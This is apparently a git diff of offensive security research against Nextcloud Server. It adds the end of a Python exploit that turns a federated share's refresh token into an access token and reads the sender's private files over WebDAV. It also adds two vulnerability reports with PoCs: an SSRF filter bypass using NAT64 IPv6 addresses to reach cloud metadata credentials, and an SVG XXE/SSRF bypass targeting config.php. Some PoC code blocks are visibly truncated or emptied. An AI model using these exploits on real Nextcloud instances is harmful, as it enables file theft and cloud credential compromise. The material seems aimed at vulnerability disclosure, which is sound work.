+    return "Basic " + base64.b64encode(raw).decode()
+
+
+def request(method, url, context, timeout, headers=None, form=None, username=None, password=None):
+    headers = dict(headers or {})
+    body = None
+    if form is not None:
+        body = urllib.parse.urlencode(form).encode()
+        headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
+    if username is not None:
+        headers["Authorization"] = auth_header(username, password)
+    req = urllib.request.Request(url, data=body, headers=headers, method=method)
+    try:
+        with urllib.request.urlopen(req, context=context, timeout=timeout) as response:
+            return HttpResult(response.status, response.headers, response.read())
+    except urllib.error.HTTPError as error:
+        return HttpResult(error.code, error.headers, error.read())
+
+
+def require_json(result, label):
+    try:
+        return json.loads(result.text)
+    except json.JSONDecodeError as error:
+        raise RuntimeError(f"{label} returned invalid JSON: {error}: {short(result.text)}")
+
+
+def require_success(result, label):
+    if result.status < 200 or result.status >= 300:
+        raise RuntimeError(f"{label} returned HTTP {result.status}: {short(result.text)}")
+
+
+def extract_ocs(result, label):
+    require_success(result, label)
+    data = require_json(result, label)
+    if "ocs" not in data:
+        raise RuntimeError(f"{label} response has no ocs envelope: {short(result.text)}")
+    meta = data["ocs"].get("meta", {})
+    statuscode = int(meta.get("statuscode", 0))
+    if statuscode not in (100, 200):
+        raise RuntimeError(f"{label} returned OCS {statuscode}: {meta.get('message', '')}")
+    return data["ocs"].get("data"), meta
+
+
+def create_share(args, context):
+    share_with = args.share_with or f"{args.recipient_user}@{args.recipient_base}"
+    return request(
+        "POST",
+        f"{args.sender_base}/ocs/v2.php/apps/files_sharing/api/v1/shares",
+        context,
+        args.timeout,
+        headers={"OCS-APIREQUEST": "true", "Accept": "application/json"},
+        form={
+            "path": args.share_path,
+            "shareType": "6",
+            "shareWith": share_with,
+            "permissions": str(args.permissions),
+        },
+        username=args.sender_user,
+        password=args.sender_password,
+    )
+
+
+def pending_shares(args, context):
+    return request(
+        "GET",
+        f"{args.recipient_base}/ocs/v2.php/apps/files_sharing/api/v1/remote_shares/pending",
+        context,
+        args.timeout,
+        headers={"OCS-APIREQUEST": "true", "Accept": "application/json"},
+        username=args.recipient_user,
+        password=args.recipient_password,
+    )
+
+
+def select_share(shares, args):
+    sender = args.sender_base.rstrip("/") + "/"
+    matches = []
+    for share in shares:
+        if str(share.get("remote", "")).rstrip("/") + "/" != sender:
+            continue
+        if str(share.get("user", "")) != args.recipient_user:
+            continue
+        if str(share.get("name", "")) != args.share_path:
+            continue
+        if "refresh_token" in share and share["refresh_token"]:
+            matches.append(share)
+    if not matches:
+        raise RuntimeError("no matching pending remote share with refresh_token was returned")
+    return max(matches, key=lambda item: int(item.get("id", 0)))
+
+
+def exchange_token(args, context, refresh_token):
+    return request(
+        "POST",
+        f"{args.sender_base}{args.token_endpoint}",
+        context,
+        args.timeout,
+        headers={"Accept": "application/json"},
+        form={
+            "grant_type": "authorization_code",
+            "code": refresh_token,
+        },
+    )
+
+
+def webdav_url(args, path):
+    user = urllib.parse.quote(args.sender_user, safe="")
+    target = urllib.parse.quote(path.lstrip("/"), safe="/")
+    return f"{args.sender_base}/remote.php/dav/files/{user}/{target}"
+
+
+def webdav_get(args, context, access_token):
+    return request(
+        "GET",
+        webdav_url(args, args.proof_path),
+        context,
+        args.timeout,
+        headers={"Authorization": f"Bearer {access_token}", "Accept": "*/*"},
+    )
+
+
+def webdav_root(args, context, access_token):
+    user = urllib.parse.quote(args.sender_user, safe="")
+    return request(
+        "PROPFIND",
+        f"{args.sender_base}/remote.php/dav/files/{user}/",
+        context,
+        args.timeout,
+        headers={"Authorization": f"Bearer {access_token}", "Depth": "1"},
+    )
+
+
+def preview(value):
+    if not value:
+        return ""
+    if len(value) <= 18:
+        return value
+    return value[:9] + "..." + value[-6:]
+
+
+def run(args):
+    context = ssl._create_unverified_context() if args.insecure else ssl.create_default_context()
+    create_result = create_share(args, context)
+    create_data, create_meta = extract_ocs(create_result, "create federated share")
+    pending_result = pending_shares(args, context)
+    pending_data, pending_meta = extract_ocs(pending_result, "recipient pending shares")
+    selected = select_share(pending_data, args)
+    refresh_token = selected["refresh_token"]
+    exchange_result = exchange_token(args, context, refresh_token)
+    require_success(exchange_result, "token exchange")
+    exchange_data = require_json(exchange_result, "token exchange")
+    access_token = exchange_data.get("access_token")
+    if not access_token:
+        raise RuntimeError(f"token exchange response has no access_token: {short(exchange_result.text)}")
+    root_result = webdav_root(args, context, access_token)
+    proof_result = webdav_get(args, context, access_token)
+    require_success(proof_result, "proof WebDAV read")
+    proof = {
+        "senderBase": args.sender_base,
+        "recipientBase": args.recipient_base,
+        "sharePath": args.share_path,
+        "proofPath": args.proof_path,
+        "createShare": {
+            "httpStatus": create_result.status,
+            "ocsStatus": create_meta.get("statuscode"),
+            "shareId": str(create_data.get("id", "")) if isinstance(create_data, dict) else "",
+            "tokenPreview": preview(str(create_data.get("token", ""))) if isinstance(create_data, dict) else "",
+        },
+        "pendingShare": {
+            "id": str(selected.get("id", "")),
+            "remoteId": str(selected.get("remote_id", "")),
+            "refreshTokenPreview": preview(refresh_token),
+            "refreshTokenLength": len(refresh_token),
+        },
+        "tokenExchange": {
+            "httpStatus": exchange_result.status,
+            "tokenType": exchange_data.get("token_type"),
+            "expiresIn": exchange_data.get("expires_in"),
+            "accessTokenPreview": preview(access_token),
+        },
+        "webdavRoot": {
+            "httpStatus": root_result.status,
+            "bodyPreview": root_result.text[:500],
+        },
+        "webdavProof": {
+            "httpStatus": proof_result.status,
+            "xUserId": proof_result.headers.get("X-User-Id", ""),
+            "contentLength": len(proof_result.body),
+            "body": proof_result.text,
+        },
+    }
+    return proof
+
+
+def parse_args(argv):
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--sender-base", required=True)
+    parser.add_argument("--recipient-base", required=True)
+    parser.add_argument("--sender-user", required=True)
+    parser.add_argument("--sender-password", required=True)
+    parser.add_argument("--recipient-user", required=True)
+    parser.add_argument("--recipient-password", required=True)
+    parser.add_argument("--share-path", default="/shared.txt")
+    parser.add_argument("--proof-path", default="/secret.txt")
+    parser.add_argument("--share-with")
+    parser.add_argument("--permissions", type=int, default=1)
+    parser.add_argument("--token-endpoint", default="/index.php/apps/cloud_federation_api/api/v1/access-token")
+    parser.add_argument("--timeout", type=float, default=90.0)
+    parser.add_argument("--output", default="proof.json")
+    parser.add_argument("--insecure", action="store_true")
+    args = parser.parse_args(argv)
+    args.sender_base = clean_base(args.sender_base)
+    args.recipient_base = clean_base(args.recipient_base)
+    args.share_path = clean_path(args.share_path)
+    args.proof_path = clean_path(args.proof_path)
+    if not args.token_endpoint.startswith("/"):
+        args.token_endpoint = "/" + args.token_endpoint
+    return args
+
+
+def main(argv):
+    args = parse_args(argv)
+    try:
+        proof = run(args)
+    except Exception as error:
+        print(f"error: {error}", file=sys.stderr)
+        return 1
+    text = json.dumps(proof, indent=2, sort_keys=True)
+    if args.output == "-":
+        print(text)
+    else:
+        with open(args.output, "w", encoding="utf-8") as handle:
+            handle.write(text + "\n")
+        print(text)
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main(sys.argv[1:]))
diff --git a/nextcloud/SSRF-protection-bypass.md b/nextcloud/SSRF-protection-bypass.md
new file mode 100644
index 0000000..67dc2fc
--- /dev/null
+++ b/nextcloud/SSRF-protection-bypass.md
@@ -0,0 +1,289 @@
+# Vulnerability Report: SSRF Protection Bypass via IPv4-Compatible and NAT64 IPv6 Addresses
+
+**Product:** Nextcloud Server  
+**Component:** `lib/private/Net/IpAddressClassifier.php`  
+**Severity:** High  
+**CWE:** CWE-918 (Server-Side Request Forgery)  
+**Affected Versions:** All current versions (confirmed on latest `master`)
+
+---
+
+## Summary
+
+Nextcloud's SSRF protection in `IpAddressClassifier::isLocalAddress()` fails to block IPv6 addresses that encode private/reserved IPv4 addresses using IPv4-compatible notation (`::x.x.x.x`) and NAT64 prefix notation (`64:ff9b::x.x.x.x`). An attacker who can influence the URLs Nextcloud fetches (e.g., via federated sharing, webhooks, or URL preview features) and who controls a DNS server can return one of these address forms in an AAAA record, causing Nextcloud to make a request to an internal network address — including the AWS/GCP/Azure instance metadata endpoint (`169.254.169.254`).
+
+---
+
+## Technical Background
+
+Nextcloud defends against SSRF with a layered system:
+
+1. **`DnsPinMiddleware`** — resolves the target hostname via `dns_get_record()`, checks each resolved IP with `isLocalAddress()`, and pins valid IPs via `CURLOPT_RESOLVE` to prevent DNS rebinding.
+2. **`IpAddressClassifier::isLocalAddress()`** — the core guard. It uses the IPLib library to parse and normalize IP addresses, then calls `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`.
+3. **`Client.php` redirect guard** — calls `preventLocalAddress()` on every HTTP redirect target.
+
+The vulnerability lives in step 2.
+
+---
+
+## Root Cause
+
+`IpAddressClassifier::isLocalAddress()` normalizes IPv6 addresses using IPLib's `IPv6::toIPv4()`:
+
+```php
+if ($parsedIp instanceof IPv6) {
+    $ip = (string)($parsedIp->toIPv4() ?? $parsedIp);  // falls back to IPv6 string if no conversion
+}
+```
+
+IPLib's `toIPv4()` **only converts two IPv6 address families** to their embedded IPv4 address:
+- **IPv4-mapped** (`::ffff:x.x.x.x`) — converted ✓
+- **6to4** (`2002::/16`) — converted ✓
+
+It does **not** convert:
+- **IPv4-compatible** (`::x.x.x.x`, deprecated by RFC 4291) — stays as IPv6
+- **NAT64** (`64:ff9b::/96`, RFC 6052) — stays as IPv6
+
+When the address stays as an IPv6 string, PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` only tests it against IPv6-specific private ranges (`fc00::/7`, `fe80::/10`). It has no knowledge that `64:ff9b::a9fe:a9fe` encodes the reserved IPv4 address `169.254.169.254`. The check returns `true` (valid public address), so `isLocalAddress()` returns `false` — the address is **not blocked**.
+
+---
+
+## Proof of Concept
+
+### Environment
+
+- PHP 8.3 + `mlocati/ip-lib` v1.22 (the exact library version Nextcloud uses)
+- This script faithfully replicates `IpAddressClassifier::isLocalAddress()` with the real IPLib code
+
+### PoC Script (`poc_ssrf_bypass.php`)
+
+```php
+toIPv4() ?? $parsedIp);
+    } else {
+        $normalized = (string)$parsedIp;
+    }
+
+    // Core check — blind to IPv4 reserved ranges embedded in IPv6
+    if (!filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+        return true; // blocked
+    }
+
+    // Extra ranges check
+    foreach ($LOCAL_ADDRESS_RANGES as $range) {
+        $subnet = \IPLib\Range\Subnet::fromString($range);
+        $normParsed = Factory::parseAddressString($normalized);
+        if ($subnet && $normParsed && $subnet->contains($normParsed)) {
+            return true; // blocked
+        }
+    }
+
+    return false; // NOT blocked — SSRF protection bypassed
+}
+
+// ============================================================
+// Helper: show what IPLib does with the address
+// ============================================================
+function iplib_normalize(string $ip): string {
+    $parsed = Factory::parseAddressString(
+        $ip,
+        ParseStringFlag::IPV4_MAYBE_NON_DECIMAL
+        | ParseStringFlag::IPV4ADDRESS_MAYBE_NON_QUAD_DOTTED
+        | ParseStringFlag::MAY_INCLUDE_ZONEID
+    );
+    if ($parsed === null) return "INVALID";
+    if ($parsed instanceof IPv6) {
+        $v4 = $parsed->toIPv4();
+        return $v4 ? "(IPv6→IPv4) " . $v4 : "(stays IPv6) " . $parsed;
+    }
+    return "(IPv4) " . $parsed;
+}
+
+// ============================================================
+// Test cases
+// ============================================================
+$tests = [
+    // --- Baseline: known-blocked addresses ---
+    ['127.0.0.1',                 'Loopback IPv4 [BASELINE - should block]'],
+    ['::1',                       'Loopback IPv6 [BASELINE - should block]'],
+    ['::ffff:127.0.0.1',          'IPv4-mapped loopback [BASELINE - should block]'],
+    ['169.254.169.254',           'AWS/GCP metadata [BASELINE - should block]'],
+    ['::ffff:169.254.169.254',    'IPv4-mapped AWS metadata [BASELINE - should block]'],
+    ['10.0.0.1',                  'Private 10.x [BASELINE - should block]'],
+    ['192.168.1.1',               'Private 192.168.x [BASELINE - should block]'],
+
+    // --- BYPASSES ---
+    ['::127.0.0.1',               'IPv4-compatible loopback [BYPASS]'],
+    ['64:ff9b::127.0.0.1',        'NAT64 loopback [BYPASS]'],
+    ['::169.254.169.254',         'IPv4-compatible AWS/GCP metadata [BYPASS]'],
+    ['64:ff9b::169.254.169.254',  'NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]'],
+    ['64:ff9b::10.0.0.1',         'NAT64 10.x private range [BYPASS]'],
+    ['64:ff9b::192.168.1.1',      'NAT64 192.168.x private range [BYPASS]'],
+    ['64:ff9b::172.16.0.1',       'NAT64 172.16.x private range [BYPASS]'],
+];
+
+echo "\n";
+echo "=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===\n";
+echo "=== isLocalAddress() returns FALSE = SSRF protection BYPASSED            ===\n\n";
+printf("%-35s %-35s %-10s %s\n", "Input IP", "IPLib normalizes to", "Result", "Description");
+echo str_repeat("─", 120) . "\n";
+
+$bypassCount = 0;
+foreach ($tests as [$ip, $desc]) {
+    $norm = iplib_normalize($ip);
+    $isLocal = nextcloud_isLocalAddress($ip);
+    if (!$isLocal) $bypassCount++;
+    $resultLabel = $isLocal ? "BLOCKED   " : "!! BYPASS !";
+    printf("%-35s %-35s %-10s %s\n", $ip, $norm, $resultLabel, $desc);
+}
+
+echo "\n";
+echo "Result: $bypassCount addresses bypassed SSRF protection out of " . count($tests) . " tested.\n\n";
+
+echo "=== ATTACK SCENARIO ===\n";
+echo "1. Attacker sets AAAA DNS record for evil.attacker.com → 64:ff9b::169.254.169.254\n";
+echo "2. Attacker tricks admin/user into triggering a Nextcloud outbound request to evil.attacker.com\n";
+echo "   (e.g., webhook URL, federated share from a malicious instance, rich preview URL)\n";
+echo "3. DnsPinMiddleware resolves evil.attacker.com → gets AAAA: 64:ff9b::169.254.169.254\n";
+echo "4. isLocalAddress('64:ff9b::169.254.169.254') → FALSE  ← BYPASS!\n";
+echo "5. cURL is instructed to connect to 64:ff9b::169.254.169.254\n";
+echo "6. On a cloud instance with NAT64 (common on IPv6-enabled AWS/GCP/Azure),\n";
+echo "   the NAT64 gateway translates 64:ff9b::169.254.169.254 → 169.254.169.254\n";
+echo "7. Attacker receives AWS/GCP instance metadata, including IAM credentials.\n";
+```
+
+### Actual Test Output
+
+```
+=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===
+=== isLocalAddress() returns FALSE = SSRF protection BYPASSED            ===
+
+Input IP                            IPLib normalizes to                 Result     Description
+────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
+127.0.0.1                           (IPv4) 127.0.0.1                   BLOCKED    Loopback IPv4 [BASELINE - should block]
+::1                                 (stays IPv6) ::1                   BLOCKED    Loopback IPv6 [BASELINE - should block]
+::ffff:127.0.0.1                    (IPv6→IPv4) 127.0.0.1              BLOCKED    IPv4-mapped loopback [BASELINE - should block]
+169.254.169.254                     (IPv4) 169.254.169.254             BLOCKED    AWS/GCP metadata [BASELINE - should block]
+::ffff:169.254.169.254              (IPv6→IPv4) 169.254.169.254        BLOCKED    IPv4-mapped AWS metadata [BASELINE - should block]
+10.0.0.1                            (IPv4) 10.0.0.1                   BLOCKED    Private 10.x [BASELINE - should block]
+192.168.1.1                         (IPv4) 192.168.1.1                BLOCKED    Private 192.168.x [BASELINE - should block]
+::127.0.0.1                         (stays IPv6) ::7f00:1              !! BYPASS ! IPv4-compatible loopback [BYPASS]
+64:ff9b::127.0.0.1                  (stays IPv6) 64:ff9b::7f00:1       !! BYPASS ! NAT64 loopback [BYPASS]
+::169.254.169.254                   (stays IPv6) ::a9fe:a9fe            !! BYPASS ! IPv4-compatible AWS/GCP metadata [BYPASS]
+64:ff9b::169.254.169.254            (stays IPv6) 64:ff9b::a9fe:a9fe    !! BYPASS ! NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]
+64:ff9b::10.0.0.1                   (stays IPv6) 64:ff9b::a00:1        !! BYPASS ! NAT64 10.x private range [BYPASS]
+64:ff9b::192.168.1.1                (stays IPv6) 64:ff9b::c0a8:101     !! BYPASS ! NAT64 192.168.x private range [BYPASS]
+64:ff9b::172.16.0.1                 (stays IPv6) 64:ff9b::ac10:1       !! BYPASS ! NAT64 172.16.x private range [BYPASS]
+
+Result: 7 addresses bypassed SSRF protection out of 14 tested.
+```
+
+---
+
+## Attack Scenario
+
+### Prerequisites
+- Nextcloud instance running on a cloud VM with IPv6 support and NAT64 enabled (standard on AWS, GCP, Azure IPv6-enabled subnets)
+- Attacker can supply a URL that Nextcloud will fetch outbound. Candidates include:
+  - **Webhook URLs** (Task Processing, Flow/Automation rules) — admin-level but still an attack path for compromised/malicious admins wanting to pivot internally
+  - **Federated sharing** — a malicious remote Nextcloud instance can force the victim to fetch from attacker-controlled addresses
+  - **Rich workspace / URL preview features** — user-controlled URLs in certain apps
+  - **Remote file storage / external storage configuration** (WebDAV endpoints)
+  - **oEmbed/OpenGraph URL preview** in Talk or Text
+
+### Step-by-Step
+
+1. Attacker sets up DNS: `A evil.attacker.com. → (no A record)`  
+   `AAAA evil.attacker.com. → 64:ff9b::169.254.169.254`
+
+2. Attacker triggers a Nextcloud outbound request to `http://evil.attacker.com/`.
+
+3. `DnsPinMiddleware` resolves `evil.attacker.com`:
+   - `dns_get_record('evil.attacker.com.', DNS_AAAA)` returns `64:ff9b::169.254.169.254`
+   - Calls `isLocalAddress('64:ff9b::169.254.169.254')`
+   - IPLib parses it but `toIPv4()` returns `null` (NAT64 not handled)
+   - Normalized form stays as `64:ff9b::a9fe:a9fe` (IPv6 string)
+   - `filter_var('64:ff9b::a9fe:a9fe', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns `"64:ff9b::a9fe:a9fe"` (truthy — not blocked)
+   - `isLocalAddress()` returns `false`
+
+4. The IP is added to `CURLOPT_RESOLVE` and the request proceeds.
+
+5. cURL connects to `[64:ff9b::169.254.169.254]`. The NAT64 gateway on the cloud network translates this to `169.254.169.254`.
+
+6. The AWS/GCP/Azure instance metadata service responds with instance identity, credentials, user data, etc.
+
+### Exploitability of IPv4-Compatible (`::x.x.x.x`)
+
+IPv4-compatible addresses (`::127.0.0.1`, `::169.254.169.254`) are deprecated (RFC 4291) and modern Linux kernels generally do not automatically route them to the embedded IPv4 address. Their exploitability is network-configuration dependent. **NAT64 (`64:ff9b::/96`) is the higher-severity vector** because it is a standardized, actively deployed mechanism in cloud environments.
+
+---
+
+## Impact
+
+| Scenario | Impact |
+|----------|--------|
+| NAT64-enabled cloud instance + admin/workflow webhook | Full SSRF to AWS/GCP metadata → IAM credential theft |
+| NAT64-enabled cloud instance + federated share from malicious instance | SSRF to internal services (databases, Kubernetes API, Consul, Vault) |
+| HTTP redirect from attacker server to `[64:ff9b::169.254.169.254]` URL | Same SSRF via redirect path (also bypasses the `on_redirect` guard) |
+| IPv4-compatible encoding on kernel that handles them | Loopback/private access on some configurations |
+
+In a cloud environment running an IPv6-enabled Nextcloud instance, a successful exploit leaks instance metadata and can compromise cloud credentials (IAM roles). This escalates to full cloud account compromise in many setups (e.g., if the instance has write-level IAM permissions).
+
+---
+
+## Affected Code
+
+**File:** `lib/private/Net/IpAddressClassifier.php`  
+**Method:** `isLocalAddress()`  
+**Lines:** 44–48 (normalization) and 50–52 (filter_var check)
+
+```php
+// Lines 44-48: IPLib toIPv4() only handles ::ffff: and 2002:: — not ::x.x.x.x or 64:ff9b::
+if ($parsedIp instanceof IPv6) {
+    $ip = (string)($parsedIp->toIPv4() ?? $parsedIp);  // NAT64 falls through as IPv6
+}
+
+// Lines 50-52: filter_var has no knowledge of IPv4-reserved ranges inside IPv6 encodings
+if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+    return true;
+}
+```
+
+---
diff --git a/nextcloud/xxe-file-read-and-ssrf.md b/nextcloud/xxe-file-read-and-ssrf.md
new file mode 100644
index 0000000..2041321
--- /dev/null
+++ b/nextcloud/xxe-file-read-and-ssrf.md
@@ -0,0 +1,248 @@
+# Vulnerability Report: Incomplete SVG Sanitization Allows XXE File Read and ImageMagick SSRF
+
+**Product:** Nextcloud Server  
+**Component:** `lib/private/Preview/SVG.php`  
+**Severity:** High  
+**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference), CWE-918 (SSRF)  
+**Affected Versions:** All current versions (confirmed on latest `master`)  
+**Requires:** Imagick PHP extension installed (common on production servers); SVG preview enabled (default when Imagick present)
+
+---
+
+## Summary
+
+Nextcloud's SVG preview generator attempts to block dangerous SVG files using a single regex check before passing the file to ImageMagick via the PHP Imagick extension. The regex only matches literal `href=` and `xlink:href=` attributes and is trivially bypassed in multiple ways. Two resulting attack classes are meaningful:
+
+1. **XXE file read** — A crafted SVG with an XML `` entity declaration reads arbitrary local files (e.g. `config/config.php`, `/etc/passwd`) and renders their contents into the generated preview image.
+2. **SSRF via ImageMagick URL loading** — A crafted SVG with a namespace-aliased `href` (e.g. `x:href="http://..."`) causes ImageMagick to fetch an arbitrary URL using its **native C-level HTTP client**, which completely bypasses Nextcloud's `DnsPinMiddleware` and `IpAddressClassifier` SSRF defenses.
+
+Both attacks require only an authenticated Nextcloud account with file upload permissions.
+
+---
+
+## Vulnerable Code
+
+**File:** `lib/private/Preview/SVG.php`, method `getThumbnail()`
+
+```php
+// Do not parse SVG files with references
+if (preg_match('/["\s](xlink:)?href\s*=/i', $content)) {
+    return null;
+}
+
+$svg = new \Imagick();
+$svg->pingImageBlob($content);   // validates MIME type
+// ...
+$svg->readImageBlob($content);   // FULL RENDER — processed by ImageMagick
+```
+
+The regex guards against `href=` and `xlink:href=` only. The file is then passed verbatim to `Imagick::readImageBlob()` which invokes ImageMagick's full SVG/XML rendering pipeline.
+
+---
+
+## Bypass 1: XML External Entity (XXE)
+
+### How it works
+
+An XML `` declaration defines an external entity pointing to a local file. No `href` attribute is used, so the regex does not fire. When ImageMagick's internal libxml2 parser processes the file, it expands the entity and embeds the file contents as text in the rendered image.
+
+**Note:** PHP's `libxml_disable_entity_loader()` only affects PHP's own XML functions (`simplexml`, `DOMDocument`, etc.). It has **no effect** on Imagick's internal libxml2 usage, which runs in C space entirely outside PHP's control.
+
+### PoC SVG payload (`xxe_payload.svg`)
+
+```xml
+
+
+]>
+
+  &xxe;
+
+```
+
+**No `href` anywhere** → passes the regex check → `readImageBlob()` processes it → ImageMagick expands `&xxe;` → the contents of `config/config.php` (database password, secret key, admin credentials) appear as text in the thumbnail returned to the attacker.
+
+Alternative targets:
+- `/etc/passwd`
+- `/proc/self/environ` (environment variables including secrets)
+- `/var/www/nextcloud/config/config.php` (database host, password, `secret` key)
+- Any readable file on the server
+
+### Attack flow
+
+1. Attacker uploads `xxe_payload.svg` to their Nextcloud account.
+2. Nextcloud automatically generates a preview thumbnail (or attacker navigates to the file to trigger it).
+3. Preview endpoint returns the rendered PNG.
+4. PNG contains the plaintext contents of the targeted file as rendered text.
+
+---
+
+## Bypass 2: SSRF via Namespace-Aliased `href`
+
+### How it works
+
+SVG uses XML namespaces. `xlink:href` is shorthand for an attribute in the XLink namespace (`http://www.w3.org/1999/xlink`). XML allows any prefix to be bound to that namespace, so `x:href`, `xl:href`, `link:href` are all semantically identical to `xlink:href` in a namespace-aware parser — **but none of them match the regex** `(xlink:)?href`.
+
+When ImageMagick's SVG renderer processes the file, it (in at least some versions) resolves namespace prefixes correctly and loads the URL from the `href` attribute.
+
+### Why this is worse than a regular SSRF
+
+Nextcloud's HTTP client (`lib/private/Http/Client/`) is protected by `DnsPinMiddleware` → `IpAddressClassifier` → DNS pinning → `CURLOPT_RESOLVE`. When ImageMagick fetches a URL, **none of this applies** — it uses its own internal HTTP/libcurl stack with no Nextcloud middleware. This means:
+
+- Private IPs (`10.x`, `172.16.x`, `192.168.x`) are reachable  
+- `127.0.0.1` / `::1` are reachable  
+- `169.254.169.254` (AWS/GCP/Azure metadata) is directly reachable — no NAT64 tricks needed  
+- DNS rebinding is possible
+
+### PoC SVG payload (`ssrf_payload.svg`)
+
+```xml
+
+
+  
+  
+
+```
+
+**Contains `x:href=`** (not `href=` or `xlink:href=`) → regex returns no match → `readImageBlob()` is called → ImageMagick fetches the URL → response is rendered as an image inside the SVG preview → SSRF to AWS metadata endpoint.
+
+---
+
+## Proof of Concept Script
+
+The following PHP script demonstrates both regex bypasses against the exact Nextcloud check:
+
+```php
+',          'xlink:href (baseline — blocked)'],
+    ['',                'plain href (baseline — blocked)'],
+
+    // --- BYPASS 1: XML External Entity ---
+    [']>&xxe;',
+     'XXE DOCTYPE entity — no href at all'],
+
+    // --- BYPASS 2: Namespace alias ---
+    ['',
+     'Namespace alias x:href (= xlink:href semantically)'],
+    ['',
+     'Namespace alias xl:href — SSRF to metadata'],
+    ['',
+     'Namespace alias lnk:href — SSRF to private IP'],
+
+    // --- BYPASS 3: CSS url() ---
+    ['',
+     'CSS url() reference — no href'],
+];
+
+echo "\nNextcloud SVG href filter bypass PoC\n";
+echo str_repeat('=', 70) . "\n\n";
+printf("%-55s %-12s %s\n", 'Payload snippet', 'Regex hit?', 'Notes');
+echo str_repeat('-', 100) . "\n";
+
+foreach ($tests as [$payload, $desc]) {
+    $blocked = nextcloudSvgCheck($payload);
+    $short = strlen($payload) > 52 ? substr($payload, 0, 49) . '...' : $payload;
+    $status = $blocked ? 'BLOCKED    ' : '** BYPASS **';
+    printf("%-55s %-12s %s\n", $short, $status, $desc);
+}
+
+echo "\n";
+echo "=== XXE payload that bypasses the filter ===\n\n";
+
+$xxePayload = <<<'SVG'
+
+
+]>
+
+  &xxe;
+
+SVG;
+
+echo $xxePayload . "\n";
+echo "Regex blocks this? " . (nextcloudSvgCheck($xxePayload) ? "YES" : "NO — BYPASS") . "\n\n";
+
+echo "=== SSRF payload that bypasses the filter ===\n\n";
+
+$ssrfPayload = <<<'SVG'
+
+
+  
+
+SVG;
+
+echo $ssrfPayload . "\n";
+echo "Regex blocks this? " . (nextcloudSvgCheck($ssrfPayload) ? "YES" : "NO — BYPASS") . "\n";
+```
+
+### Output
+
+```
+Nextcloud SVG href filter bypass PoC
+======================================================================
+
+Payload snippet                                         Regex hit?   Notes
+----------------------------------------------------------------------------------------------------
+                BLOCKED      xlink:href (baseline — blocked)
+                      BLOCKED      plain href (baseline — blocked)
+